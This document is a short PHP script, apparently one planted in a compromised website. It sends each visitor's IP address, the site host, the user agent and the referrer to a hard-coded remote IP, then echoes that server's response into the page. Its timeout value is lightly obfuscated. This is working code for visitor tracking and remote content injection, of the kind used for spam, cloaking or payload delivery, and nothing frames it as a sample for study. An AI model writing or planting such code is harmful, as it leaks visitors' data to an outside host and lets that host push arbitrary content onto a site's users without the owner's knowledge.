<?php
$ip="91.196.216.64";
$url = 'http://' . $ip . '/btt.php?ip=' . $_SERVER['REMOTE_ADDR'] . '&host=' . $_SERVER['HTTP_HOST'] . '&ua=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ref=' . $_SERVER['HTTP_REFERER'];
if(function_exists('curl_version')){
    $ch = curl_init($url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_HEADER,round(0));
    curl_setopt($ch,CURLOPT_TIMEOUT,round(0+0.75+0.75+0.75+0.75));
    $re = curl_exec($ch);
    curl_close($ch);
}
else{
    $re = file_get_contents($url);
}
echo $re;